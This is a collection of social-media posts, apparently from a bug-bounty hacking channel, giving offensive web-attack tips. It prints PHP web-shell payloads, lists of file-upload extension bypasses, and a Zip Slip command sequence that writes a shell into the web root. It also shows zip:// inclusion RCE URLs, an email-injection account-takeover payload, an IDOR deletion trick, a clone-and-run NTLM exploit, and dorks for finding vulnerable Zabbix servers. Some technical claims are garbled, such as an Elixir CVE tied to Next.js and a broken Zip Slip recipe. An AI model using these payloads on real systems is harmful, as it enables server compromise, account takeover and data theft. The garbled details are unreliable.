🚨 Next.js + WAF Bypass + SXSS via Cookie Reordering 🚨

🧠 Attack Summary:
You’re dealing with:

🔍 A Next.js app

⚠️ Two reflected cookies in pageProps
⚠️ A WAF blocking your initial attempts

🧪 Observations:
🧨 Single payload → 403 Forbidden

🧨 Split payload across two cookies → Still 403

🧨 Reorder the cookie fragments → 200 OK ✅

👀 That’s your in! Reversing the order bypasses the WAF inspection logic 🔄

⚠️ Now chain it with:

🧫 CVE-2024-46982 (Elixir Stale SSR template injection)
🔗 https://github.com/masch1/CVE-2024-46982

➡️ This allows CP (Client-side Prototype Pollution) → Stored XSS (SXSS) in Next.js apps.

💣 Exploit Flow:
💎 Bypass WAF via cookie reordering
💎 Inject CP payload using stale Elixir template vuln
💎 Achieve SXSS across all visiting users!

🛡 Mitigation Tips:
✅ Sanitize cookie inputs server-side
✅ Audit template engines for unsafe parsing
✅ Patch Elixir if in stack (see CVE-2024-46982)

🔍 Keep hunting clever chains like this. WAFs aren’t invincible!
📢 Follow @cybersecplayground for more wild bug chains, PoCs, and bypass tricks
👍 Like & 🔁 Share to help others learn!

#bugbounty #nextjs #xss #sxss #wafbypass #infosec #cybersecurity #cve2024_46982

🚨 Bug Bounty Trick: Bypass Invalid ID Validation via Array Injection 🧠

Sometimes a small change makes a big difference!

🔍 Original Request:

DELETE /api/bookings?bookings=3777104

❌ Response: 400 Bad Request — "Invalid Bookings"

✅ Modified Request:

DELETE /api/bookings?bookings[]=3777104

💥 Response: 200 OK — Booking successfully deleted!

📌 Why This Works:
Some backends treat bookings= as a scalar (single ID), while bookings[]= is interpreted as an array of IDs.

If the API logic expects an array, this simple tweak can bypass input validation or authorization checks, potentially leading to:

🛑 IDOR (Insecure Direct Object Reference)
🗑 Unauthorized Deletion of Bookings
📬 Mass Resource Tampering (loop over IDs)

🔧 Tip: Always test both forms:
param=value
param[]=value

…and watch how the backend responds differently 🔎

📢 Stay sharp, test weird inputs, and keep hacking smart.
Follow @cybersecplayground for more tips like this.
👍 Like & 🔁 Share to help the community grow!

#bugbounty #api #idor #infosec #cybersec #websecurity #bypass #cybersecplayground

🕵️‍♂️ Laravel Debug Leak via Negative ID Trick
🔍 Framework: PHP Laravel

If you come across a Laravel-based endpoint like:

GET /api/users/?userid=1234

👉 Try This:

GET /api/users/?userid=-1

💥 Why it works:
Passing a negative userid can trigger unhandled conditions or unexpected model lookups. In Laravel, this might expose:

🐞 Debug info
🔐 API keys or .env configs
🔁 Internal routes & proxies
📜 Stack traces and SQL queries

🧠 Pro Tip: Use this as a gadget — it's especially useful in chained attacks (e.g., IDOR + Debug Info = Pwnage).

📢 Follow @cybersecplayground for daily 🔍 recon tricks, bug bounty tips, and real PoCs.

#bugbountytips #laravel #debug #infosec #cybersec #websecurity #cybersecplayground

🌍 Find All Public VDPs with a Simple Dork 💥
Hunt responsible disclosure programs worldwide in seconds

🕵️ Dork for Shodan/ZoomEye:

(body="/responsible-disclosure"  body="/.well-known/security.txt") && port="443"

🔎 This will reveal sites with:

A Responsible Disclosure page Or a security.txt file (per RFC 9116)

💡 What You Get:
✅ List of companies actively accepting vulnerability reports
✅ Perfect targets for legal bug bounty hunting
✅ Entry points into private bounty programs
✅ Contact emails for reporting bugs (security@example.com)

🧠 Why This Works:
🔸 /.well-known/security.txt is a standardized VDP endpoint
🔸 /responsible-disclosure is commonly used by companies not following RFC
🔸 Both indicate the company welcomes security testing (within scope)

🛠 Pro Tip:
Use these tools for discovery:
`
⚡️ ZoomEye
zoomeye search '(body="/responsible-disclosure" body="/.well-known/security.txt") && port="443"'

⚡️ Shodan CLI
shodan search '(http.html:"/responsible-disclosure" OR http.html:"/.well-known/security.txt") port:443'

Then scan those domains with your favorite recon & fuzzing tools 👇
🔥 They’re often low-hanging fruit with weak auth, forgotten endpoints, and juicy info.

📢 Reminder:
Always read the VDP scope before testing. No scope = no hacking.

🔔 Follow @cybersecplayground for daily recon tips and bug bounty gems
❤️ Like, 🔁 Share, and Tag your hacker friends!

#BugBounty #VDP #SecurityTXT #Recon #InfoSec #EthicalHacking #CTF #cybersecplayground #HackingTips

🧠 Path Traversal in ZIP Uploads
A classic vulnerability that still pops up in the wild — let’s break it down:

📂 The Scenario:

1️⃣ The application accepts ZIP file uploads from users.
2️⃣ It extracts ZIP contents server-side without path sanitization.
3️⃣ The ZIP contains malicious paths like:

../../../../etc/passwd

4️⃣ No checks? Then boom 💥 — the files get extracted outside the intended directory.


🎯 Impact:
• Arbitrary file write on the server
• Potential to overwrite configs, upload web shells, or tamper with logs
• Leads to RCE, LFI, or privilege escalation depending on the context


🔐 How to Prevent:

✅ Normalize & sanitize extraction paths
✅ Use extraction libraries that block traversal (e.g., Python’s zipfile with validation)
✅ Restrict ZIP extraction to a sandboxed directory only

📦 Payload Sample:

evil.zip
└── ../../../../var/www/html/shell.php

💻 Learning real exploitation techniques like this?
Stay sharp with daily tips at 👉 @cybersecplayground

#PathTraversal #ZipSlip #BugBounty #CyberSecurity #EthicalHacking #PentestTips #InfoSec #WebSecurity #Payloads #RCE #HackerTricks #ZipUpload #SecurityAwareness #CybersecPlayground

🔓 Account Takeover via Email Injection Tricks

Sometimes, you don’t need a vulnerability — just a weak parser. Here’s a sneaky way to hijack accounts by injecting multiple emails in signup/login flows where email validation is broken. 🚨

🎯 The Idea:

The app checks only the first email, but sends confirmation/reset links to all of them.
If you sneak your email in, you get the link too.

🔍 Common Bypass Payloads (Separators):

email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

📦 Array-Based Payload:

{
  "email": ["victim@mail.com", "hacker@mail.com"]
}

If the server sends an email to both, you win 🏆

🧠 Why This Works:

Some backend libraries (especially in PHP or Node.js) parse input loosely, accepting multiple values — and sometimes broadcasting emails to all listed addresses. 😱


✅ Always test registration, password reset, and invite systems
✅ Monitor HTTP requests & responses
✅ Use Burp, Param Miner, and manual tampering


💻 Stay ahead of the game — learn real ATO techniques & bug bounty tricks
Join us: 👉 @cybersecplayground


#AccountTakeover #BugBountyTips #EmailInjection #InfoSec #CyberSecurity #EthicalHacking #ATO #WebSecurity #Recon #HackingTricks #BugBounty #CybersecPlayground #infosec #bugbountytips #cybersec

🔍 #BugBountyTip — WP JSON Endpoint Scanner 🐘
🎯 Targeting WordPress? Here’s a quick win.

Many WordPress plugins (especially payment gateways or custom-built ones) expose REST endpoints under /wp-json/. These can leak:

✅ PII
✅ Order status & details
✅ Webhook tokens
✅ SQLi or XSS vectors
...all without authentication! 😱

💥 Pro Tip:
Scan all /wp-json/** endpoints and test them for:

🐞 SQLi
🎯 Blind XSS
🔓 Auth bypass
🧾 Data leaks (orders, user info)

🛠 Script to automate discovery
A neat Python script to extract all exposed endpoints:

📎 Script:
🔗 wp_json.py

🖥 Usage:

python3 wp_json.py https:http://example.com/wp-json/

⚡️Load those endpoints into Burp Intruder, ffuf, or test manually.
Focus on insecure params and unauth access!

🧠 TL;DR:
Don’t skip /wp-json/ in your recon — it’s a goldmine, especially with misconfigured or in-house plugins. 😉

🔔 Stay sharp, stay curious.

Follow @cybersecplayground for more scripts, recon gems & real-world exploits.
❤️ Like & 🔁 Share if this tip helped!

#bugbountytips #WordPress #WPScan #recon #infosec #pentesting #cybersec #cybersecplayground

🧠 Unsafe File Upload → MIME Type Bypass
📂 From innocent upload… to full Remote Code Execution 💥

🚨 Attack Flow:
1️⃣ App only checks Content-Type header or file extension (😬 rookie mistake)
2️⃣ Attacker uploads shell.php.jpg — looks like an image, but hides PHP code inside
3️⃣ Server accepts it as valid (no deep validation)
4️⃣ If stored in a web-accessible path... boom 💣 — you hit it via browser, and PHP executes 🧠

🛠 Payload Example:

<?php system($_GET["cmd"]); ?>

Upload as:

shell.php.jpg

And access:

https://target.com/uploads/shell.php.jpg?cmd=id

If Apache/Nginx interprets .php before .jpg, you’ve just triggered code execution ✅

🔐 Hardening Tips:
• Use content inspection (MIME sniffing) on file contents, not just headers
• Rename uploaded files and remove extensions
• Disable execution in upload directories (.htaccess, Nginx config)

💡 Even in 2025, unsafe file upload logic is everywhere.
Use it to escalate from low severity bug to critical impact.


🚀 Follow @cybersecplayground for hands-on exploits, recon tricks, and advanced web hacking tutorials.
⚡️All tips & tricks are availabe at our github
💬 Like + 🔁 Share if you’ve ever dropped a shell via image upload!

#bugbounty #cybersecplayground #fileupload #infosec #rce #websecurity #pentesting

👀 guys what about a WEEK full of file upload tricks and tips?Drop your comments

🚨 Alert: CVE-2024-22120 – Zabbix SQLi → RCE Attack Chain
CVSS Score: 9.1 (Critical)
Affects: 🖥 Popular monitoring system Zabbix

🔥 PoC & Exploits:
🧪 Official Bug Tracker: ZBX-24505
💥 Exploit Script: GitHub – CVE-2024-22120-RCE

⚠️ What’s the Risk?
This is a time-based SQL injection vulnerability that could:
• Leak sensitive DB info
• Escalate privileges
• Lead to full Remote Code Execution (RCE) on Zabbix servers

🛰 Track Vulnerable Targets:
Hunter is currently under maintenance 🛠, so use these dorks instead:

🔎 FOFA:

app="ZABBIX-Monitoring"

🔎 Shodan:

http.component:"Zabbix"

🔎 Hunter (when online):

product.name="Zabbix"

📰 More Details:
SecurityOnline Advisory

🎯 Impact:
Zabbix is widely used in enterprises for infrastructure monitoring. An RCE here = access to entire internal networks, critical alerts, server health, and more.

📢 Patch or mitigate immediately!

Follow @cybersecplayground for daily vulnerability alerts, PoCs, recon tips & red team tactics.
💬 Like + 🔁 Share to warn your team or community!

#Zabbix #RCE #CVE2024 #infosec #bugbounty #cybersecplayground #vulnerability #sqlinjection #redteam

📂 Beginner's Guide (Part 1 of file upload week) : File Upload Vulnerability
💣 "It’s just a profile picture… or is it?"

🔍 What is a File Upload Vulnerability?
Some websites let users upload files — like images, documents, or PDFs. But if the website doesn’t check the uploaded file properly, an attacker might upload a dangerous file — like a script — that gets executed on the server!

This can lead to:

❗️ Website defacement
🐚 Remote Code Execution (RCE)
🔓 Server access or full control

🧪 Real Example:
A user uploads cat.jpg, but the attacker uploads:
cat.php.jpg or rce.php

If the server:

✅ Accepts the file
✅ Saves it to a public folder
✅ Doesn’t validate it properly

Then the attacker can access http://target.com/uploads/rce.php
And run commands directly on the website!

⚠️ Why Does This Happen?

🔸 Server trusts the file extension (.jpg, .pdf, etc.)
🔸 Server doesn’t check content inside the file
🔸 Upload folder has execution permissions

🛡 How to Stay Safe (for Developers):

✅ Only allow specific file types
✅ Rename uploaded files on the server
✅ Store them in folders without execution rights
✅ Scan uploaded files for malicious content
✅ Use proper libraries for file handling

🎯 Why Should Bug Hunters Care?
This is a very common issue in older CMS, custom admin panels, and web apps. If you find a file upload function — test it! It might be your way to RCE 😈

📚 Stay sharp. Learn vulnerabilities. Hack smart.
🔐 Follow @cybersecplayground for more beginner-to-advanced security tips!

#cybersecurity #bugbounty #fileupload #beginner #infosec #websecurity #webapp #cybersecplayground

🚩 📂 Beginner's Guide (Part 2 of file upload week) :
Exploiting ZIP Uploads for RCE

If a web app lets you upload .zip files… this trick might just get you RCE 😈

🔧 Step-by-step:

1️⃣ Create a PHP payload (e.g. rce.php)
2️⃣ Compress it: zip file.zip
3️⃣ Upload file.zip to the vulnerable web app
4️⃣ Trigger the payload like this:

https://<target>.com/index.php?page=zip://path/file.zip#rce.php

💥 If the server supports dynamic inclusion of ZIP content, your PHP gets executed = Remote Code Execution

🧠 Works on systems with poorly configured ZIP handlers (like some outdated CMS or custom file viewers)

✅ Pro Tip: Always inspect how the app handles uploaded files. If it includes content dynamically using user input — you're in the game.

💣 Happy Hunting!

🔐 Follow @cybersecplayground for more real-world exploit tips & bug bounty gems.

#bugbounty #zipupload #rce #websecurity #infosec #cybersecplayground #exploittips #pentesting

🧨 File Upload Bypass Techniques
(Part 3 of file upload)

Uploading a web shell isn’t dead , just harder. Here are smart techniques to bypass file upload restrictions and exploit insecure file handling on the backend. 💻🕳️

🔎 1. Content-Type Bypass
Fake your file type with headers like:

Content-Type: image/png

Then upload a .php or .jsp payload.
🔥 Works if backend trusts headers blindly.

🧩 2. Double Extension Trick

shell.php.jpg  
shell.asp;.jpg  
shell.php%00.jpg  

Some servers check only the last extension or fail to handle null bytes properly.

📛 3. File Name Obfuscation
Try encoding or using special characters:

shell.pHp  
shell.ph%70  

🧠 Some filters are case-sensitive or don’t decode %XX values.

📂 4. MIME Sniffing Abuse
Upload as .txt or .jpg — but insert a magic header for interpretable content.
e.g., PHP payload inside a .jpg with this line on top:

<?php system($_GET['cmd']); ?>

💥 If executed or served unsafely (e.g., Apache misconfig), it may run.

🚫 5. Extension Whitelist Bypass
Try using allowed extensions like:

.htaccess  
.shtm  
.svg  
.phtml  
.asp  

Some of these are executable on certain stacks (Apache, IIS, NGINX).

🧬 6. Polyglot Payloads
Build files that are both valid images and code:
• Image with PHP code appended
• PDF with JS payload
• GIF89a header + PHP backdoor

💣 Works if server validates image by magic bytes only.

🚪 7. Upload to External Storage (S3, Cloudinary)
Sometimes upload is secure, but URL is public and executable.
👉 Check for direct-access URLs, bucket misconfigs, or SSRF chains.

🔐 Pro Tip:
Always test for where the file is stored AND how it is handled or rendered.

💻 Want more real-world exploitation tricks like this?
📢 Join the crew: 👉 @cybersecplayground

#FileUpload #FileUploadBypass #BugBountyTips #WebSecurity #CyberSecurity #HackingTools #InfoSec #Pentest #SecurityTesting #EthicalHacking #Payloads #CybersecPlayground #infosec #bugbountytips #cybersec

📦 All Our Tools, Payloads & Learning Material — Now on GitHub! 💻

Want to access all the scripts, practice labs, payload lists, and resources we share on the channel?
We’ve organized everything in one place for you:

👉 Follow & give star us on GitHub:
🔗 github.com/cybersecplayground

🧠 You’ll find:
• 📂 Payload collections
• 🛠️ Automation tools & fuzzing
• 💣 Real-world bug bounty techniques
• 📝 Markdown posts for educational use


📢 Help us grow and contribute back — follow + star the repo if it helped you!
Let’s build a better hacking toolkit, together. 💪
Dont forget, we’re just getting started 🤜🤛

#GitHub #BugBountyTools #CyberSecurity #InfoSec #HackingResources #Payloads #EthicalHacking #OpenSource #CTFtools #CybersecPlayground #FollowUs

🔓 File Upload Bypass – Ultimate Tricklist for Hackers
(Part 4 of file upload)

Many apps restrict certain file types to prevent RCE or LFI. But clever tricks can bypass blacklists & whitelists. Let's break it down 🧠👇

🔥 1. Blacklisting Bypass – Using Alternative Extensions

If .php is blocked, try:

.php, .php2, .php3, .php4, .php5, .php7, .phtml, .phar, .pht, .pgif, .shtml, .htaccess, .inc

For other languages:

ASP:

.asp, .aspx, .asa, .cshtml

JSP:

 .jsp, .jspx

Coldfusion:

 .cfm, .cfc

Perl:

 .pl, .cgi

🌀 Also try random capitalization:

.pHp, .pHP5, .PhAr

⚠️ 2. Whitelisting Bypass – Tricks That Confuse Filters

If .php is allowed only when disguised, try:

file.png.php
file.php%20
file.php%00
file.php%0a
file.php/
file.php.
file.php....
file.png.jpg.php
file.php#.png
file.php%00.png
file.phpJunk123png

📌 Pro Tip: Some filters only validate the extension before %, #, or null-byte (%00). Use it to your advantage!

📁 Goal: Execute your payload on the server by bypassing faulty validation logic in the upload function.

🚀 Used with web shells or command injection for remote code execution (RCE)!

💡 Share with your hunting partner. share to someone who still thinks .php alone is enough 😏

🔐 Join @cybersecplayground for more real-world web hacking tactics.

#fileupload #bugbounty #cybersecurity #pentest #infosec #cybersecplayground #websecurity #rce #bypass #webhacking #tricks

Here's a comprehensive list of 100+ PHP file upload payloads, covering various bypass techniques like null bytes, encoding, special characters, and more:

🔗 https://github.com/cybersecplayground/bu...

This list covers:

🔸 Case variations
🔸Multiple/different extensions
🔸Null byte injections (%00)
🔸Special characters (%, #, ;, :, , /)
🔸Whitespace variations (space, %20)
🔸Newline injections (%0a, %0d)
🔸Multiple dots
🔸Fake extensions
🔸Various junk data appendages
🔸Different encoding schemes
🔸Common alternative PHP extensions (php3, php4, etc.)

All payloads are focused solely on PHP file upload bypass techniques. You can use this list for testing file upload functionality in web applications.

🚨 Critical NTLM Reflection SMB Flaw PoC (CVE-2025-33073) 🚨

🔍 Vulnerability:
Active exploitation PoC released for an NTLM reflection vulnerability in SMB protocol allowing credential theft and man-in-the-middle attacks.

💥 Proof of Concept:

# Clone the exploit:
git clone https://github.com/mverschu/CVE-2025-33073
# Execute with admin privileges
python exploit.py -t <target_IP>

📌 Impact:
✔️ NTLM credential interception
✔️ SMB relay attacks
✔️ Domain privilege escalation

🛡 Mitigation:

⛏️ Disable NTLM authentication where possible
⛏️ Enable SMB signing
⛏️ Apply vendor patches immediately

🔗 Resources:
GitHub PoC |
Microsoft Security Guidance

🔔 Want more alerts? Join @cybersecplayground for:
✅ Daily exploit PoCs
✅ Exclusive bug bounty tips
✅ Private hacking methodologies

📢 Share with #RedTeam & #BlueTeam!
#BugBounty #CyberSecurity #Hacking #CVE #NTLM #SMB #ExploitDev

🔍 Value Fuzzing with FFUF
Discover Hidden Parameters!
Looking to uncover hidden parameters, test API endpoints, or find unexpected values in web applications? ffuf is your go-to tool for fast and flexible fuzzing!

🚀 Basic Value Fuzzing Command

ffuf -u "https://example.com/api?param=FUZZ" -w /path/to/wordlist.txt -fs 100

👉🏻 -u: Target URL with FUZZ placeholder
👉🏻 -w: Wordlist for fuzzing values
👉🏻 -fs 100: Filter out responses with size 100 (adjust as needed)

🔥 Advanced Usage

1. Multiple Parameters Fuzzing

ffuf -u "https://example.com/api?param1=FUZZ&param2=FUZ2Z" -w wordlist1.txt:FUZZ -w wordlist2.txt:FUZ2Z

2. POST Request Fuzzing

ffuf -X POST -u "https://example.com/login" -d 'username=admin&password=FUZZ' -w passwords.txt

3. Using Custom Matchers & Filters

ffuf -u "https://example.com/search?q=FUZZ" -w params.txt -mc 200 -ms "Search results found"

👉🏻 -mc 200: Match HTTP status code
👉🏻 -ms: Match response content

4. Rate Limiting & Delays

ffuf -u "https://example.com/FUZZ" -w dirs.txt -p "0.5" -t 20

👉🏻 -p: Delay between requests (seconds)
👉🏻 -t: Threads (default: 40)

📌 Pro Tips
✅ Use -recursion to auto-fuzz discovered paths
✅ Combine with -H "Header: Value" for auth/cookie-based testing
✅ Try -e .php,.bak,.json for common file extensions

🔗 Get FFUF: https://github.com/ffuf/ffuf

🔐 Join @cybersecplayground for more real-world web hacking tactics.
Have you found anything interesting with ffuf? Share your findings below! 👇

#BugBounty #WebSecurity #PenTesting #FFUF #Fuzzing #CyberSecurity

🔍 Analyze Malware in Real-Time with ANY.RUN!
Looking for a powerful, interactive malware analysis sandbox? ANY.RUN lets you detonate and analyze suspicious files, URLs, and emails in a secure environment—with real-time results!

🚀 Why ANY.RUN?
✅ Real-Time Analysis – Watch malware execute live
✅ Interactive Debugging – Pause, rewind, and inspect processes
✅ Cloud-Based – No setup required, works in your browser
✅ Threat Intelligence – Auto-extracts IOCs (IPs, Domains, Hashes)
✅ Team Collaboration – Share analysis reports with your security team

🔥 Key Features
👉🏻 Detects ransomware, trojans, spyware, and more
👉🏻 Supports Windows & Linux environments
👉🏻 Integrates with VirusTotal, Hybrid Analysis, and other threat feeds
👉🏻 Generates detailed reports (PDF, JSON, STIX)

🛠 Sample Use Cases
⚡️Incident Response – Quickly analyze phishing attachments
⚡️Threat Hunting – Investigate suspicious network traffic
⚡️Malware Research – Study behavior of new strains

Dont Forget to use tools like any.run to not BEING Fucked , and hacked back by another Hacker 😁

Try ANY.RUN for Free: https://any.run/
Have you used ANY.RUN before?
Share your experience below! 👇

#MalwareAnalysis #CyberSecurity #ThreatHunting #IncidentResponse #ANYRUN #InfoSec

🧠 Zip Slip → Arbitrary File Write Exploit

Ever heard of one ZIP file owning the whole server? Let me show you how 👇

🔍 What is Zip Slip?

It’s a vulnerability that occurs when:
1️⃣ A web app extracts user-uploaded .zip archives
2️⃣ It doesn’t sanitize the internal file paths
3️⃣ The .zip contains files like:

../../../../etc/passwd
../../../../var/www/html/shell.php

Result? 💥
➡️ Overwrite system files,
➡️ Drop backdoors,
➡️ Gain RCE,
➡️ Or crash the app with DoS.

⚠️ Real-World Impact

💎 Web shell planted in a public directory
💎 Defacing websites
💎 Privilege escalation or full server takeover

📁 How to Test
Create a .zip archive with:

mkdir test && cd test
echo "<?php system(\$_GET['cmd']); ?>" > ../../../../var/www/html/shell.php
zip -r payload.zip *

Upload to the app. If it extracts without sanitization → RCE 🎯

🛡 Mitigation
✅ Sanitize extracted file paths
✅ Use secure zip libraries (e.g., Java’s ZipEntry.normalize())
✅ Deny path traversal (../) in filenames

💡 Stay sharp: Not all uploads are what they seem. Even a .zip can be lethal.

🔐 Follow @cybersecplayground for more deep hacking insights.

#ZipSlip #bugbounty #fileupload #infosec #RCE #cybersecurity #websecurity #pentest #webhacking #cybersecplayground